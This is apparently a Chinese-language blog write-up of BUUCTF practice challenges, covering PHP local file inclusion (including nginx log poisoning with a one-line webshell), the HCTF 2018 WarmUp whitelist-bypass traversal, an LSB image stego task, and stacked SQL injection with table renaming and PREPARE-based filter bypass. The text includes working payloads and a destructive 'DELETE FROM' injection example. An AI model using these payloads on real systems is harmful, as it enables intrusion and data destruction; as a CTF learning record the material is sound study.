記buuctf 0x00

北京聯合大學的oj,題目挺多的,趙師傅一直在推薦大家去buuoj玩,今天專門來耍一耍,跟趙師傅學ctf(其實根本不認識趙師傅只知道很強就對了)

LFI

題目太多了,隨便先找點簡單的做算了。。。(太菜了不敢先衝難題)
本地文件包含,訪問靶機直接給源碼

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/7/9
 * Time: 7:07 AM
 */

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}

說實話,一開始我是直接?file=flag結果不行,不知道問什麼必須是?file=/flag,可能是include_path的問題?windows和linux可能也有一定區別,我在本地的phpstudy中,無論?flie=flag還是?file=\flag(windows中的路徑使用反斜線分割)都可以成功包含
不知道是不是include_path的問題,include_path的作用類似於linux中的環境變量$PATH

參考了
buuoj LFI course
文件包含漏洞
原來LFI還能通過包含ngnix的日誌記錄來插入一句話木馬,漲姿勢了,如果日誌文件中有一句話,那麼就可以用菜刀連接了
?file=/var/log/nginx/access.log
所以可以在訪問靶機的時候在header中某個地方插入一句話,然後再訪問/var/log/nginx/access.log就可以連接了。
本題我試了一下,我好像只能在user-agent裏添加代碼(好菜)。

LSB

居然還能做到礦大的題,stegsolve直接選lsb,preview發現最前面有hex值89 50 4e 47是PNG,保存爲png,有二維碼,掃碼出flag

[HCTF 2018]WarmUp

打開靶機鏈接後只有一張滑稽,右鍵查看源代碼,看到了html註釋<!--source.php-->
可以打開source.php頁面,是題目的源碼,大致看一下,主要是通過get方式傳入參數file,如果是字符串並通過下面的函數檢查,如果返回true,就可以包含傳入的這個參數,檢查函數代碼如下:

public static function checkFile(&$page)
{
	$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

	if (! isset($page) || !is_string($page)) {
		echo "you can't see it";
		return false;
	}

	if (in_array($page, $whitelist)) {
		return true;
	}

	$_page = mb_substr(
				$page,
				0,
				mb_strpos($page . '?', '?')
	);

	if (in_array($_page, $whitelist)) {
		return true;
	}//註釋1

	$_page = urldecode($page);
	$_page = mb_substr(
				$_page,
				0,
				mb_strpos($_page . '?', '?')
				);

	if (in_array($_page, $whitelist)) {
		return true;
	}//註釋2

	echo "you can't see it";
	return false;
}

真心不會,百度了下題解
總之最後,這題是復現的phpmyadmin4.8.1的一個遠程文件包含漏洞,就是利用代碼中的mb_substr()函數,在這個檢查函數中,是將傳入的參數截取?之前的字符串保存爲$_page,檢查$_page是否在白名單中,看到這發現了,其實自己代碼審計的時候沒有仔細看,$_page$page是不同的變量,雖然檢查的是$_page,但是最後include的還是$page,所以只要$page之中在?前一部分在白名單中,依然可以返回true

而且根據hint.php,flag在ffffllllaaaagggg

最後的payload:
?file=source.php?/../../../../../ffffllllaaaagggg
?換爲url編碼之後的%3f,服務器會自動解析成?,所以還可以有第二個payload:
?file=source.php%3f/../../../../../ffffllllaaaagggg
上面這兩個都是讓函數在註釋1處返回true

相關鏈接
warm up
warm up2
phpmyadmin 4.8.1 遠程文件包含漏洞

看到相關的文章,可以利用雙重編碼還有第三個payload:
?file=source.php%253f/../../../../../ffffllllaaaagggg
其中%25解碼之後是%,payload會讓函數在註釋2處返回true

[強網杯 2019]隨便注

buu上的復現題目,屏蔽了select,真的頂不住了,百度了下題解,堆疊注入,我記得寫sql-libs的時候就考慮過,爲什麼注入語句不能有分號,原來加上分號就是堆疊注入,指的就查詢語句可以用分號分割

堆疊注入只適用於後端查詢函數爲mysqli_multi_query()時,該函數可以進行多次查詢,而mysqli_query()則只能進行一次查詢

堆疊注入原理

在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句後繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合併在一起,兩者之間有什麼區別麼?區別就在於union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。用戶輸入:1; DELETE FROM products服務器端生成的sql語句爲:(因未對輸入的參數進行過濾)Select * from products where productid=1;DELETE FROM products當執行查詢後,第一條顯示查詢信息,第二條則將整個表進行刪除。
————————————————
版權聲明:本文爲CSDN博主「戀物語戰場原」的原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/qq_26406447/article/details/90643951

單引號閉合,井號註釋,然後可以用分號進行堆疊注入
-1';show databses;#可以查數據庫

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}//爲了減小篇幅,這裏只展示部分結果

加上我用1' and length(databse())=9#得到的結果,這裏用的數據庫應該是supersqli;然後-1';show tables;#可以查該數據庫中的表,如果用-1';show tables in XXX;#可以查XXX中的表,而且in可以換成from

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

查列名:

-1';show columns in `1919810931114514`;#/*注意如果表名爲純數字,必須用反引號包裹*/
desc table_name//使用這條命令也可以查看錶的結構

結果:

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}//只有一列flag

在mysql中的演示

mysql> show columns from users;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| id       | int(3)      | NO   | PRI | NULL    | auto_increment |
| username | varchar(20) | NO   |     | NULL    |                |
| password | varchar(20) | NO   |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.01 sec)
第一種方法

然後問題就是如何讀取flag了,真的是看各種大佬騷操作
大佬的思路:

  • 把words表改名爲其他任意名字,然後把有flag的表改名爲words
  • 往新的words表中插入一列,列名爲id(因爲原來的words表中的列是id和data,然後id爲主鍵,根據id的值查詢,如果沒有id列,就無法查詢出flag了)
  • 如果後端查詢代碼是select * from words whrere id='$id'的話,就不用改flag列的名字了,而如果查詢語句是select id,data from words where id='$id'的話,必須把flag也重命名爲data

payload:

-1';rename table words to word;rename table `1919810931114514` to words;/*重命名錶格*/alter table words add id int unsigned not Null auto_increment primary key;/*添加id列*/#

然後就可以直接輸入1查詢到flag了,如果查詢語句不一樣的話,還要alter table words change flag data varchar(100)把flag列重命名爲data

總結一下學到的新操作
堆疊注入,相比聯合查詢注入能執行的操作更多,可以修改表名,可以修改表的結構等等

RENAME TABLE
old_name TO new_name
//將old_name表重命名爲new_name

ALTER TABLE table_name
ADD column_name datatype
//在table_name表中插入新的列column_name,數據類型爲datatype

ALTER TABLE table_name
ALTER COLUMN column_name datatype
//修改某一列的數據類型

ALTER TABLE table_name
CHANGE old_name new_name datatype
//把old_name列重命名爲new_name,注意必須有datatype參數
第二種方法

還有一種解法是預編譯命令,就是用一個字符串來保存查詢語句,然後執行

PREPARE語句準備好一條SQL語句,並分配給這條SQL語句一個名字供之後調用。準備好的SQL語句通過EXECUTE命令執行,通過DEALLOCATE PREPARE命令釋放掉

語句的名字不區分大小寫。準備好的SQL語句名字可以是字符串,也可以是用戶指定的包含SQL文本的變量。PREPARE中的SQL文本必須代表一條單獨的SQL語句而不能是多條SQL語句。在SQL語句中,?字符用來作爲後面執行查詢使用的一個參數。? 不能加上引號,及時打算將它們綁定到字符變量中也不可以。

參考:mysql中Prepare、execute、deallocate的使用方法

set @a='select * from table';
prepare query from @a;
execute query;   //可以直接取出table表
deallocate query //釋放該命令
//set @a=0x??????,可以用十六進制編碼,比較容易繞過過濾,注意字符串轉16進制的時候不要有空格,可用/**/代替

本題paylaod:

-1';sEt @a=concat('sele','ct * fro','m `1919810931114514`');Prepare b from @a;eXecute b;#

因爲本題檢測setprepare等關鍵詞用的是strstr(),所以可以用大寫繞過

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章